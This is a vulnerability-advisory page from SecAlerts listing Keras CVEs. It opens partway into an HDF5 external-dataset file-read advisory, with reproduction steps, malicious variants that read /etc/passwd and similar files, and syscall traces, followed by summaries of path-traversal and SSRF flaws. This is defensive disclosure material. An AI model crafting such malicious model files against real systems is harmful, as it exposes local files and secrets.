3. Execute python weightsexternaldemo.py. 4. Observe: - secrettextsource prints the chosen host file path. - recoveredascii/recoveredhex64 display the file contents recovered via model inference. - A re-saved weights file contains the leaked bytes inside the artifact.

Expanded Validation (Multiple Attack Scenarios)

The following test harness generalises the attack for multiple HDF5 constructs:

- Build a minimal feed-forward model and baseline weights. - Create three malicious variants: 1. External storage dataset: dataset references /etc/hosts. 2. External link: ExternalLink pointing at /etc/passwd. 3. Indirect link: external storage referencing a helper HDF5 that, in turn, refers to /etc/hostname. - Run each scenario under strace -f -e trace=open,openat,read while calling model.loadweights(...). - Post-process traces and weight tensors to show the exact bytes loaded.

Relevant syscall excerpts captured during the run:

openat(ATFDCWD, "/etc/hosts", ORDONLY|OCLOEXEC) = 7 read(7, "127.0.0.1 localhost\n", 64) = 21 ... openat(ATFDCWD, "/etc/passwd", ORDONLY|OCLOEXEC) = 9 read(9, "root:x:0:0:root:/root:/bin/bash\n", 64) = 32 ... openat(ATFDCWD, "/etc/hostname", ORDONLY|OCLOEXEC) = 8 read(8, "example-host\n", 64) = 13

The corresponding model weight bytes (converted to ASCII) mirrored these file contents, confirming successful exfiltration in every case.

Recommended Product Fix

1. Default-deny external datasets/links: - Inspect creation property lists (getexternalcount) before materialising tensors. - Resolve SoftLink / ExternalLink targets and block if they leave the HDF5 file. 2. Provide an escape hatch: - Offer an explicit allowexternaldata=True flag or environment variable for advanced users who truly rely on HDF5 external storage. 3. Documentation: - Update security guidance and API docs to clarify that weight loading bypasses safe mode and that external HDF5 references are rejected by default. 4. Regression coverage: - Add automated tests mirroring the scenarios above to ensure future refactors do not reintroduce the issue.

Workarounds

- Avoid loading untrusted HDF5 weight files. - Pre-scan weight files using h5py to detect external datasets or links before invoking Keras loaders. - Prefer alternate formats (e.g., NumPy .npz) that lack external reference capabilities when exchanging weights. - If isolation is unavoidable, run the load inside a sandboxed environment with limited filesystem access.

Timeline (UTC)

- 2025‑10‑18: Initial proof against TensorFlow 2.12.0 confirmed local file disclosure. - 2025‑10‑19: Re-validated on TensorFlow 2.20.0 / Keras 3.11.3 with syscall tracing; produced weight artifacts and JSON summaries for each malicious scenario; implemented safekerashdf5.py prototype guard.

1 / 2
Source: GitHub
First published (updated )
Severity
7
Path Traversal

Keras versions prior to 3.14.0 are vulnerable to a path traversal issue in the archive extraction utilities located in keras/src/utils/fileutils.py. The functions filtersafetarinfos() and filtersafezipinfos() validate archive member paths against the process current working directory (CWD) instead of the actual extraction destination. When the process runs with CWD set to /, which is common in Docker containers, CI/CD runners, and Jupyter environments, the validation boundary becomes the filesystem root, allowing traversal paths to bypass the security check. Additionally, the zip filter contains a bug that causes an AttributeError when a blocked entry is encountered, leading to incomplete extraction. Furthermore, Python 3.11 installations lack the filter="data" safety net, leaving them entirely reliant on the flawed CWD-based filter. Exploitation of this vulnerability can result in arbitrary file writes outside the intended extraction directory, enabling attackers to overwrite configuration files, inject malicious code, or corrupt machine learning datasets and pipelines.

First published (updated )
Severity
7

Arbitrary file read in the model loading mechanism (HDF5 integration) in Keras versions 3.0.0 through 3.13.1 on all supported platforms allows a remote attacker to read local files and disclose sensitive information via a crafted .keras model file utilizing HDF5 external dataset references.

First published (updated )
Severity
6.5
Path Traversal
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N

An issue in keras 3.7.0 allows attackers to write arbitrary files to the user's machine via downloading a crafted tar file through the getfile function.

First published (updated )
Severity
6.5
Path Traversal
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N

A vulnerability in keras-team/keras version 3.12.0 allows an attacker to craft a malicious tar archive that bypasses the filtersafetarinfos validation in keras/src/utils/fileutils.py. Specifically, symlink entries are not subjected to the same ispathindir validation as regular file entries, allowing symlinks to be created outside the intended extraction directory. This can lead to symlink-based file read, file overwrite, or directory escape attacks. The issue is particularly impactful on Python 3.10 and 3.11, where filtersafetarinfos is the sole defense against tar path traversal. This vulnerability is distinct from CVE-2025-12060 and other previously reported issues.

First published (updated )
Severity
5.9
SSRF
CVSS:4.0/AV:A/AC:H/AT:P/PR:L/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

The Keras.Model.loadmodel method, including when executed with the intended security mitigation safemode=True, is vulnerable to arbitrary local file loading and Server-Side Request Forgery (SSRF).

This vulnerability stems from the way the StringLookup layer is handled during model loading from a specially crafted .keras archive. The constructor for the StringLookup layer accepts a vocabulary argument that can specify a local file path or a remote file path.

Arbitrary Local File Read: An attacker can create a malicious .keras file that embeds a local path in the StringLookup layer's configuration. When the model is loaded, Keras will attempt to read the content of the specified local file and incorporate it into the model state (e.g., retrievable via getvocabulary()), allowing an attacker to read arbitrary local files on the hosting system.

Server-Side Request Forgery (SSRF): Keras utilizes tf.io.gfile for file operations. Since tf.io.gfile supports remote filesystem handlers (such as GCS and HDFS) and HTTP/HTTPS protocols, the same mechanism can be leveraged to fetch content from arbitrary network endpoints on the server's behalf, resulting in an SSRF condition.

The security issue is that the feature allowing external path loading was not properly restricted by the safemode=True flag, which was intended to prevent such unintended data access.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203